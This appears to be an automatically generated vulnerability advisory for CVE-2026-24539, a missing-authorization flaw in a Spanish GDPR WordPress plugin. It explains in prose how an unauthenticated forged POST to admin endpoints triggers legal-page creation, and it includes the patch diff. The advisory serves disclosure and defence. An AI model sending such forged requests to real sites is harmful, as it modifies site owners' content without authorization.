Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24539: Protección de datos – RGPD <= 0.68 – Missing Authorization (proteccion-datos-rgpd)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 0.68
Patched Version 0.69
Disclosed January 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24539:
The Protección de datos – RGPD WordPress plugin, versions up to and including 0.68, contains a missing authorization vulnerability. The flaw allows unauthenticated attackers to trigger the creation of legal pages on the target WordPress site. This is a Missing Authorization (CWE-862) issue with a CVSS score of 5.3, indicating medium severity.

The root cause is the `pdrgpd_settings_init()` function in `/proteccion-datos-rgpd/admin/options.php`. Before the patch, this function executed the `pdrgpd_cear_paginas_legales()` function (a typo later corrected to `pdrgpd_crear_paginas_legales`) based solely on the presence of the `$_POST[‘pdrgpd_crear_paginas_legales’]` parameter. The function lacked any capability check, nonce verification, or validation that the request originated from the plugin’s legitimate settings page. This made the action hookable via the WordPress `admin_init` action, which runs for all admin pages.

An attacker exploits this by sending a forged POST request to any WordPress admin endpoint, such as `/wp-admin/admin-post.php` or `/wp-admin/admin-ajax.php`. The request must include the parameter `pdrgpd_crear_paginas_legales` set to any value. Since the `admin_init` hook fires during the initialization of any admin page, the attacker’s request triggers the vulnerable code path. No authentication, nonce, or specific action parameter is required.

The patch adds a comprehensive security check within the `pdrgpd_settings_init()` function. It introduces a four-step validation process before creating pages. First, it verifies a nonce via `wp_verify_nonce` using the `_pdrgpd_nonce` parameter. Second, it confirms the request is for the correct `option_page` (`proteccion-datos-rgpd-ajustes`). Third, it performs a capability check using `current_user_can(‘manage_options’)` and confirms `is_admin()`. Finally, it calls the corrected function name. The patch also adds the nonce field to the settings form via `wp_nonce_field()` in the `pdrgpd_crear_paginas_legales_callback()` function.

Successful exploitation allows an unauthenticated attacker to create legal pages (Aviso Legal, Política de Privacidad, Política de Cookies) on the target WordPress site. While this action does not directly lead to code execution or data theft, it constitutes unauthorized modification of site content. It could disrupt site layout, create conflicting pages, or be used as a component in a broader attack chain to demonstrate a lack of authorization controls.

Differential between vulnerable and patched code

Code Diff
--- a/proteccion-datos-rgpd/admin/options.php
+++ b/proteccion-datos-rgpd/admin/options.php
@@ -14,8 +14,22 @@
 define( 'AVISO_AMARILLO', '<span style="color:orange;">● </span>' );
 define( 'AVISO_VERDE', '<span style="color:green;">✔ </span> ' );

-// Dashboard menu settings.
-add_action( 'admin_menu', 'pdrgpd_add_admin_menu' );
+/*
+ * ------------------------------------------------------------------------
+ * Registro de menú y página de ajustes
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Añade la página de ajustes al menú lateral de administración.
+ *
+ * Crea el entry-point “Protección Datos RGPD” bajo el capability
+ * `manage_options`. Si hay errores de configuración se muestra un globo
+ * con aviso.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_add_admin_menu() {
 	if ( pdrgpd_errores_config() ) {
 		$contenido_notificacion = '⚠ ';
@@ -35,8 +49,17 @@
 		'data:image/svg+xml;base64,' . $icono_base64                                  // Icon.
 	);
 }
+add_action( 'admin_menu', 'pdrgpd_add_admin_menu' );

-/** Settings page function. */
+/**
+ * Renderiza el HTML de la pantalla de ajustes.
+ *
+ * Comprueba permisos, muestra el título, errores y el formulario
+ * generado por Settings API.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_admin() {
 	if ( ! current_user_can( 'manage_options' ) ) {
 		wp_die( 'No tienes suficientes permisos para acceder a esta página.' );
@@ -56,19 +79,59 @@
 	<?php
 }

-// Settings page functionality.
+/*
+ * ------------------------------------------------------------------------
+ * Registro de opciones y secciones (Settings API)
+ * ------------------------------------------------------------------------
+ */

-add_action( 'admin_init', 'pdrgpd_settings_init' );
+/**
+ * Registra las opciones y, tras la validación, crea páginas legales si se solicita.
+ *
+ * Recorre la lista devuelta por `pdrgpd_lista_opciones()` y ejecuta
+ * `register_setting()` para cada una.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_settings_init() {

-	// Registers all the option values defined.
+	// Registrar todas las opciones.
 	foreach ( pdrgpd_lista_opciones() as $nombre_opcion ) {
 		register_setting( 'proteccion-datos-rgpd-ajustes', $nombre_opcion );
 	}

-	// Crea las páginas legales si se ha solicitado.
+	// ¿Se ha marcado “crear páginas legales”?
 	if ( isset( $_POST['pdrgpd_crear_paginas_legales'] ) ) {
-		pdrgpd_cear_paginas_legales();
+
+		// 1. Verificar nonce.
+		if ( ! isset( $_POST['_pdrgpd_nonce'] )
+			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_pdrgpd_nonce'] ) ), 'pdrgpd_crear_legales' )
+		) {
+			// Nonce inválido.
+			add_settings_error(
+				'pdrgpd_ajustes',
+				'pdrgpd_nonce_error',
+				__( 'Security check failed. Pages were not created.', 'proteccion-datos-rgpd' ),
+				'error'
+			);
+			return;
+		}
+
+		// 2. Confirmar que el POST viene del grupo de opciones de la página (evita colisiones de nombres o posts extraños).
+		if ( empty( $_POST['option_page'] ) ||
+		'proteccion-datos-rgpd-ajustes' !== $_POST['option_page']
+		) {
+			return;
+		}
+
+		// 3. Seguir solo si el usuario puede.
+		if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		// 4. Crear páginas.
+		pdrgpd_crear_paginas_legales();
 	}

 	// Owner and liable data / Datos del titular y responsable.
@@ -498,30 +561,68 @@
 		'pdrgpd_seccion_pie'
 	);
 }
+add_action( 'admin_init', 'pdrgpd_settings_init' );
+
+/*
+ * ------------------------------------------------------------------------
+ * Callbacks de secciones
+ * ------------------------------------------------------------------------
+ */

 /**
- * Callbacks to show options data.
- * Callbacks para la presentación de datos de opciones.
+ * Texto descriptivo para la sección “Datos del titular y responsable”.
+ *
+ * @since 1.0.0
+ * @return void
  */
 function pdrgpd_seccion_titular_callback() {
 	echo wp_kses( __( 'General data required to fulfill legal notice according law 34/2002, of July 11, on information society services and electronic commerce (LSSICE) and others.<br />Fill appropriate fields.', 'proteccion-datos-rgpd' ), array( 'br' => array() ) );
 }

-/** Hidden field to save version number too. */
+/*
+ * ------------------------------------------------------------------------
+ * Callbacks de campos (input)
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Campo oculto que guarda el número de versión del plugin.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_version_callback() {
 	echo '<input name="pdrgpd_version" type="hidden" id="pdrgpd_version" value="' . esc_attr( pdrgpd_get_version() ) . '" />';
 }

+/**
+ * Input para el nombre o razón social del titular.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_titular_callback() {
 	echo '<input name="pdrgpd_titular" type="text" id="pdrgpd_titular" value="' . esc_attr( pdrgpd_conf_titular() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">También se le considerará  responsable de protección de datos.</p>';
 }

+/**
+ * Input para el DNI/NIE/NIF.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_nif_callback() {
 	echo '<input name="pdrgpd_nif" type="text" id="pdrgpd_nif" value="' . esc_attr( pdrgpd_conf_nif() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Número o código del documento identificativo.</p>';
 }

+/**
+ * Checkbox “Está dado de alta en el VIES”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_vies_callback() {
 	echo "<input type='checkbox' name='pdrgpd_vies' ";
 	checked( get_option( 'pdrgpd_vies' ), 1 );
@@ -534,100 +635,253 @@
 	echo '.</p>';
 }

+/**
+ * Input para la dirección postal.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_direccion_callback() {
 	echo '<input name="pdrgpd_direccion" type="text" id="pdrgpd_direccion" value="' . esc_attr( pdrgpd_conf_direccion() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Dirección postal (Calle, número, piso, etc.) del titular del sitio.</p>';
 }

+/**
+ * Input para la población.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_poblacion_callback() {
 	echo '<input name="pdrgpd_poblacion" type="text" id="pdrgpd_poblacion" value="' . esc_attr( pdrgpd_conf_poblacion() ) . '" class="regular-text" />';
 }

+/**
+ * Input para el código postal.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_cp_callback() {
 	echo '<input name="pdrgpd_cp" type="text" id="pdrgpd_cp" value="' . esc_attr( pdrgpd_conf_cp() ) . '" class="regular-text" />';
 }

+/**
+ * Input para la provincia.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_provincia_callback() {
 	echo '<input name="pdrgpd_provincia" type="text" id="pdrgpd_provincia" value="' . esc_attr( pdrgpd_conf_provincia() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Requerida para completar el apartado Jurisdicción.</p>';
 }

+/**
+ * Input para el teléfono (con prefijo internacional opcional).
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_telefono_callback() {
 	echo '<input name="pdrgpd_telefono" type="text" id="pdrgpd_telefono" value="' . esc_attr( pdrgpd_conf_telefono() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Opcional, para utilizar junto a otros datos de contacto del titular en el aviso legal.<br />';
 	echo 'Agrega el prefijo internacional precedido por un símbolo + para obtener un enlace pulsable en dispositivos móviles.</p>';
 }

+/**
+ * Input para el e-mail de contacto.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_email_callback() {
 	echo '<input name="pdrgpd_email" type="text" id="pdrgpd_email" value="' . esc_attr( pdrgpd_conf_email() ) . '" class="regular-text" />';
 }

+/*
+ * ------------------------------------------------------------------------
+ * Campos de registro mercantil
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Texto descriptivo para la sección “Inscripción en el registro mercantil”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_rmercant_callback() {
 	esc_html_e( 'Only for corporations', 'proteccion-datos-rgpd' ) . '. ';
 	esc_html_e( 'LSSICE requirement', 'proteccion-datos-rgpd' ) . '. ';
 }

+/**
+ * Input población del registro.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_poblacion_callback() {
 	echo '<input name="pdrgpd_rmercant_poblacion" type="text" id="pdrgpd_rmercant_poblacion" value="' . esc_attr( pdrgpd_conf_rmercant_poblacion() ) . '" class="regular-text" />';
 }

+/**
+ * Input provincia del registro.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_provincia_callback() {
 	echo '<input name="pdrgpd_rmercant_provincia" type="text" id="pdrgpd_rmercant_provincia" value="' . esc_attr( pdrgpd_conf_rmercant_provincia() ) . '" class="regular-text" />';
 }

+/**
+ * Input fecha de inscripción.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_fecha_callback() {
 	echo '<input name="pdrgpd_rmercant_fecha" type="text" id="pdrgpd_rmercant_fecha" value="' . esc_attr( pdrgpd_conf_rmercant_fecha() ) . '" class="regular-text" />';
 }

+/**
+ * Input hoja de presentación.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_presentacion_callback() {
 	echo '<input name="pdrgpd_rmercant_presentacion" type="text" id="pdrgpd_rmercant_presentacion" value="' . esc_attr( pdrgpd_conf_rmercant_presentacion() ) . '" class="regular-text" />';
 }

+/**
+ * Input sección.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_seccion_callback() {
 	echo '<input name="pdrgpd_rmercant_seccion" type="text" id="pdrgpd_rmercant_seccion" value="' . esc_attr( pdrgpd_conf_rmercant_seccion() ) . '" class="regular-text" />';
 }

+/**
+ * Input libro.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_libro_callback() {
 	echo '<input name="pdrgpd_rmercant_libro" type="text" id="pdrgpd_rmercant_libro" value="' . esc_attr( pdrgpd_conf_rmercant_libro() ) . '" class="regular-text" />';
 }

+/**
+ * Input tomo.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_tomo_callback() {
 	echo '<input name="pdrgpd_rmercant_tomo" type="text" id="pdrgpd_rmercant_tomo" value="' . esc_attr( pdrgpd_conf_rmercant_tomo() ) . '" class="regular-text" />';
 }

+/**
+ * Input folio.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_folio_callback() {
 	echo '<input name="pdrgpd_rmercant_folio" type="text" id="pdrgpd_rmercant_folio" value="' . esc_attr( pdrgpd_conf_rmercant_folio() ) . '" class="regular-text" />';
 }

+/**
+ * Input hoja.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_hoja_callback() {
 	echo '<input name="pdrgpd_rmercant_hoja" type="text" id="pdrgpd_rmercant_hoja" value="' . esc_attr( pdrgpd_conf_rmercant_hoja() ) . '" class="regular-text" />';
 }

+/**
+ * Input protocolo.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_protocolo_callback() {
 	echo '<input name="pdrgpd_rmercant_protocolo" type="text" id="pdrgpd_rmercant_protocolo" value="' . esc_attr( pdrgpd_conf_rmercant_protocolo() ) . '" class="regular-text" />';
 }

+/**
+ * Input número.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_rmercant_num_callback() {
 	echo '<input name="pdrgpd_rmercant_num" type="text" id="pdrgpd_rmercant_num" value="' . esc_attr( pdrgpd_conf_rmercant_num() ) . '" class="regular-text" />';
 }

+/*
+ * ------------------------------------------------------------------------
+ * Campos de datos del sitio
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Texto descriptivo para la sección “Datos del sitio”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_sitio_callback() {
 	esc_html_e( 'Site build data.', 'proteccion-datos-rgpd' );
 }

+/**
+ * Input nombre del sitio.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_sitio_callback() {
 	echo '<input name="pdrgpd_sitio" type="text" id="pdrgpd_sitio" value="' . esc_attr( pdrgpd_conf_sitio() ) . '" class="regular-text" />';
 }

+/**
+ * Input dominio del sitio.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_dominio_callback() {
 	echo '<input name="pdrgpd_dominio" type="text" id="pdrgpd_dominio" value="' . esc_attr( pdrgpd_conf_dominio() ) . '" class="regular-text" />';
 }

+/**
+ * Checkbox para crear automáticamente páginas legales.
+ *
+ * Solo se muestra si falta alguna de las tres.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 /** Ofrece crear las páginas legales si faltan */
 function pdrgpd_crear_paginas_legales_callback() {
+	wp_nonce_field( 'pdrgpd_crear_legales', '_pdrgpd_nonce' );
 	pdrgpd_ofrece_paginas_legales();
 }

+/**
+ * Input URL del aviso legal.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_uri_aviso_callback() {
 	echo '<input name="pdrgpd_uri_aviso" type="text" id="pdrgpd_uri_aviso" value="' . esc_attr( pdrgpd_conf_uri_aviso() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Dirección donde se ubica o ubicará el aviso legal.<br /><br />';
@@ -635,6 +889,12 @@
 	echo '</p>';
 }

+/**
+ * Input URL de la política de privacidad.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_uri_privacidad_callback() {
 	echo '<input name="pdrgpd_uri_privacidad" type="text" id="pdrgpd_uri_privacidad" value="' . esc_attr( pdrgpd_conf_uri_privacidad() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Dirección donde se ubica o ubicará la política de privacidad acorde al RGPD.<br />';
@@ -642,6 +902,12 @@
 	echo '</p>';
 }

+/**
+ * Input URL de la política de cookies.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_uri_cookies_callback() {
 	echo '<input name="pdrgpd_uri_cookies" type="text" id="pdrgpd_uri_cookies" value="' . esc_attr( pdrgpd_conf_uri_cookies() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Dirección donde se ubica o ubicará la política de cookies.<br />';
@@ -649,22 +915,63 @@
 	echo '</p>';
 }

+/*
+ * ------------------------------------------------------------------------
+ * Campos de privacidad (formularios)
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Texto descriptivo para la sección “Política de privacidad”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_privacidad_callback() {
 	echo wp_kses_post( __( 'Specific data to follow up privacy policy agreeable to General Data Protection Regulation (GDPR).<br />Fill appropriate fields.', 'proteccion-datos-rgpd' ) );
 	echo '<p class="description" id="tagline-description">La ley obliga a que todos los formularios que recojan datos personales muestren información resumida sobre su uso.</p>';
 }

+/**
+ * Texto descriptivo para la sección “Apariencia”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_aspecto_callback() {
 	esc_html_e( 'Optional settings for data displaying.', 'proteccion-datos-rgpd' );
 }

+/*
+ * ------------------------------------------------------------------------
+ * Campos de apariencia
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Radio buttons para elegir formato de “primera capa” (tabla o párrafo).
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_formato_primera_capa_callback() {
 	echo '<input type="radio" name="pdrgpd_formato_primera_capa" value="tabla" ' . checked( 'tabla', pdrgpd_conf_formato_primera_capa(), false ) . '>' . esc_html__( 'Table', 'proteccion-datos-rgpd' );
 	echo ' <span class="description" id="tagline-description">' . esc_html__( '(AEPD recommendation).', 'proteccion-datos-rgpd' ) . '</span><br />';
 	echo '<input type="radio" name="pdrgpd_formato_primera_capa" value="parrafo" ' . checked( 'parrafo', pdrgpd_conf_formato_primera_capa(), false ) . '>' . esc_html__( 'Paragraph', 'proteccion-datos-rgpd' );
 }

-/** Contact form / Formulario de contacto- */
+/*
+ * ------------------------------------------------------------------------
+ * Contact form / Formulario de contacto
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Checkbox “Existe formulario de contacto”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_existencia_formulario_contacto_callback() {
 	echo "<input type='checkbox' name='pdrgpd_existencia_formulario_contacto' ";
 	checked( get_option( 'pdrgpd_existencia_formulario_contacto' ), 1 );
@@ -676,16 +983,34 @@
 	echo ' para más información.</p>';
 }

+/**
+ * Input texto resumen de finalidad del formulario de contacto.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_formulario_contacto_mini_callback() {
 	echo '<input name="pdrgpd_finalidad_formulario_contacto_mini" type="text" id="pdrgpd_finalidad_formulario_contacto_mini" value="' . esc_attr( pdrgpd_conf_finalidad_formulario_contacto_mini() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Texto que se incluirá en el formulario de contacto, modifícalo si el resultado no es de tu agrado.</p>';
 }

+/**
+ * Textarea explicación larga de finalidad del formulario de contacto.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_formulario_contacto_callback() {
 	echo '<textarea cols="50" rows="5" name="pdrgpd_finalidad_formulario_contacto">' . esc_html( pdrgpd_conf_finalidad_formulario_contacto() ) . '</textarea>';
 	echo '<p class="description" id="tagline-description">Opcionalmente, un mayor detalle de la finalidad del formulario de contacto para mostrar en la política de privacidad.</p>';
 }

+/**
+ * Checkbox “El formulario se filtra con Akismet”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_akismet_formulario_contacto_callback() {
 	echo "<input type='checkbox' name='pdrgpd_akismet_formulario_contacto' ";
 	checked( get_option( 'pdrgpd_akismet_formulario_contacto' ), 1 );
@@ -694,7 +1019,18 @@
 	echo '<p class="description" id="tagline-description">Marca la casilla si el formulario de contacto se filtra mediante Akismet.</p>';
 }

-/** Newsletter / Boletín */
+/*
+ * ------------------------------------------------------------------------
+ * Newsletter / Boletín
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Checkbox “Existe boletín/newsletter”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_existencia_boletin_callback() {
 	echo "<input type='checkbox' name='pdrgpd_existencia_boletin' ";
 	checked( get_option( 'pdrgpd_existencia_boletin' ), 1 );
@@ -706,17 +1042,41 @@
 	echo ' para más información.</p>';
 }

+/**
+ * Input texto resumen de finalidad del boletín.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_suscripcion_boletin_mini_callback() {
 	echo '<input name="pdrgpd_finalidad_suscripcion_boletin_mini" type="text" id="pdrgpd_finalidad_suscripcion_boletin_mini" value="' . esc_attr( pdrgpd_conf_finalidad_suscripcion_boletin_mini() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Texto que se incluirá en el formulario de suscripción a boletines/newsletters, modifícalo si el resultado no es de tu agrado.</p>';
 }

+
+/**
+ * Textarea explicación larga de finalidad del boletín.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_suscripcion_boletin_callback() {
 	echo '<textarea cols="50" rows="5" name="pdrgpd_finalidad_suscripcion_boletin">' . esc_html( pdrgpd_conf_finalidad_suscripcion_boletin() ) . '</textarea>';
 	echo '<p class="description" id="tagline-description">Opcionalmente, un mayor detalle de la finalidad del formulario de suscripción al boletín/newsletter para mostrar en la política de privacidad.</p>';
 }

-/** Formulario de comentar / // Comment form. */
+/*
+ * ------------------------------------------------------------------------
+ * Formulario de comentar / // Comment form.
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Checkbox “Aplicar RGPD al formulario de comentarios”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_aplicar_formulario_comentar_callback() {
 	echo "<input type='checkbox' name='pdrgpd_aplicar_formulario_comentar' ";
 	checked( get_option( 'pdrgpd_aplicar_formulario_comentar' ), 1 );
@@ -737,16 +1097,37 @@
 	}
 }

+/**
+ * Input texto resumen de finalidad del formulario de comentarios.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_formulario_comentar_mini_callback() {
 	echo '<input name="pdrgpd_finalidad_formulario_comentar_mini" type="text" id="pdrgpd_finalidad_formulario_comentar_mini" value="' . esc_attr( pdrgpd_conf_finalidad_formulario_comentar_mini() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">Texto que se incluirá en el formulario de comentar, modifícalo si el resultado no es de tu agrado.</p>';
 }

+/**
+ * Textarea explicación larga de finalidad del formulario de comentarios.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_finalidad_formulario_comentar_callback() {
 	echo '<textarea cols="50" rows="5" name="pdrgpd_finalidad_formulario_comentar">' . esc_html( pdrgpd_conf_finalidad_formulario_comentar() ) . '</textarea>';
 	echo '<p class="description" id="tagline-description">Opcionalmente, un mayor detalle de la finalidad del formulario de comentar para mostrar en la política de privacidad.</p>';
 }

+/**
+ * Checkbox “Existe suscripción vía Jetpack”.
+ *
+ * Solo aparece si Jetpack está activo y el módulo de suscripciones
+ * está habilitado.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_existencia_suscripcion_jetpack_callback() {
 	if ( class_exists( 'Jetpack' ) ) {
 		if ( pdrgpd_modulo_jetpack_suscripciones_activo() ) {
@@ -764,7 +1145,18 @@
 	}
 }

-/** Inserciones. */
+/*
+ * ------------------------------------------------------------------------
+ * Inserciones
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Texto descriptivo para la sección “Inserción de cookies”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_cookies_callback() {
 	esc_html_e( 'You must require permission to load non mandatory cookies.', 'proteccion-datos-rgpd' );
 	echo ' ';
@@ -773,17 +1165,46 @@
 	echo '<br />';
 }

+/*
+ * ------------------------------------------------------------------------
+ * Campos de cookies
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Input Google Analytics Measurement ID.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_google_analytics_id_callback() {
 	echo '<input name="pdrgpd_google_analytics_id" type="text" id="pdrgpd_google_analytics_id" value="' . esc_attr( pdrgpd_conf_google_analytics_id() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">' . esc_html__( 'Insert', 'proteccion-datos-rgpd' ) . ' <a href="https://analytics.google.com/" target="_blank">Google Analytics</a> ' . esc_html__( 'and', 'proteccion-datos-rgpd' ) . ' <a href="https://ads.google.com/" target="_blank">Ads</a> ' . esc_html__( 'Tracking Code with this Measurement ID', 'proteccion-datos-rgpd' ) . '.</p>';
 }

+/**
+ * Input Facebook Pixel ID.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_facebook_pixel_id_callback() {
 	echo '<input name="pdrgpd_facebook_pixel_id" type="text" id="pdrgpd_facebook_pixel_id" value="' . esc_attr( pdrgpd_conf_facebook_pixel_id() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">' . esc_html__( 'Insert', 'proteccion-datos-rgpd' ) . ' <a href="https://www.facebook.com/events_manager2/list/get_started" target="_blank">Facebook Pixel</a> ' . esc_html__( 'code with this ID', 'proteccion-datos-rgpd' ) . '.</p>';
 }

-/** Page footer / Pie de página. */
+/*
+ * ------------------------------------------------------------------------
+ * Page footer / Pie de página.
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Texto descriptivo para la sección “Pie de página”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_seccion_pie_callback() {
 	esc_html_e( 'Page footer included data.', 'proteccion-datos-rgpd' );
 	echo '<br />';
@@ -797,6 +1218,12 @@
 	echo '</b>.<br />';
 }

+/**
+ * Checkbox mostrar enlace a aviso legal en el pie.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_pie_enlace_legal_callback() {
 	echo "<input type='checkbox' name='pdrgpd_pie_enlace_legal' ";
 	checked( get_option( 'pdrgpd_pie_enlace_legal' ), 1 );
@@ -804,6 +1231,12 @@
 	esc_html_e( 'Link to legal notice at page footer', 'proteccion-datos-rgpd' );
 }

+/**
+ * Checkbox mostrar enlace a política de privacidad en el pie.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_pie_enlace_privacidad_callback() {
 	echo "<input type='checkbox' name='pdrgpd_pie_enlace_privacidad' ";
 	checked( get_option( 'pdrgpd_pie_enlace_privacidad' ), 1 );
@@ -811,6 +1244,12 @@
 	esc_html_e( 'Link to privacy policy at page footer', 'proteccion-datos-rgpd' );
 }

+/**
+ * Checkbox mostrar enlace a política de cookies en el pie.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_pie_enlace_cookies_callback() {
 	echo "<input type='checkbox' name='pdrgpd_pie_enlace_cookies' ";
 	checked( get_option( 'pdrgpd_pie_enlace_cookies' ), 1 );
@@ -818,11 +1257,23 @@
 	esc_html_e( 'Link to cookies policy at page footer', 'proteccion-datos-rgpd' );
 }

+/**
+ * Input año inicial para el copyright.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_pie_copyright_callback() {
 	echo '<input name="pdrgpd_pie_copyright" type="text" id="pdrgpd_pie_copyright" value="' . esc_attr( pdrgpd_conf_pie_copyright() ) . '" class="regular-text" />';
 	echo '<p class="description" id="tagline-description">' . esc_html__( 'Site creation year if you want a page footer copyright notice, blank if undesired', 'proteccion-datos-rgpd' ) . '.</p>';
 }

+/**
+ * Checkbox pie en varias líneas (enlaces separados de copyright).
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_pie_multilinea_callback() {
 	echo "<input type='checkbox' name='pdrgpd_pie_multilinea' ";
 	checked( get_option( 'pdrgpd_pie_multilinea' ), 1 );
@@ -830,7 +1281,21 @@
 	esc_html_e( 'Distinct lines for links and copyright', 'proteccion-datos-rgpd' );
 }

-/** Other functions / Otras funciones. */
+/*
+ * ------------------------------------------------------------------------
+ * Funciones auxiliares
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Muestra el estado de una página legal (existe, shortcode correcto, etc.).
+ *
+ * @since 1.0.0
+ *
+ * @param string $url      URL completa de la página.
+ * @param string $shortcode Shortcode que debe contener.
+ * @return void
+ */
 function pdrgpd_advertencia_pagina_legal( $url, $shortcode ) {
 	if ( pdrgpd_bajo_control_wp( $url ) ) {
 		$pagina = pdrgpd_carga_pagina_sitio( $url );
@@ -850,6 +1315,14 @@
 	}
 }

+/**
+ * Comprueba si una URL pertenece a la instalación actual.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url URL a comprobar.
+ * @return bool
+ */
 function pdrgpd_bajo_control_wp( $url ) {
 	$controlada = false;
 	if ( strpos( $url, get_bloginfo( 'wpurl' ) ) !== false ) {
@@ -858,6 +1331,14 @@
 	return $controlada;
 }

+/**
+ * Carga el objeto WP_Post de una página dada su URL.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url URL completa.
+ * @return WP_Post|null Objeto post o null si no existe.
+ */
 function pdrgpd_carga_pagina_sitio( $url ) {
 	// Retira la URL get_bloginfo( 'wpurl' ) . '/' para quedarse con el slug.
 	// Antes de llamar a esta funcion ya sabemos que sí es del sitio.
@@ -865,6 +1346,16 @@
 	return get_page_by_path( $slug );
 }

+/**
+ * Detecta si un shortcode (o su versión extendida) existe en el contenido
+ * de una página.
+ *
+ * @since 1.0.0
+ *
+ * @param WP_Post $pagina   Objeto post.
+ * @param string  $shortcode Shortcode sin corchetes.
+ * @return bool
+ */
 function pdrgpd_existe_shortcode_o_derivado_en_pagina_sitio( $pagina, $shortcode ) {
 	$existe = false;
 	// echo $slug . ': ' . get_the_title( $pagina ) . '</p>' ;
@@ -877,6 +1368,14 @@
 	return $existe;
 }

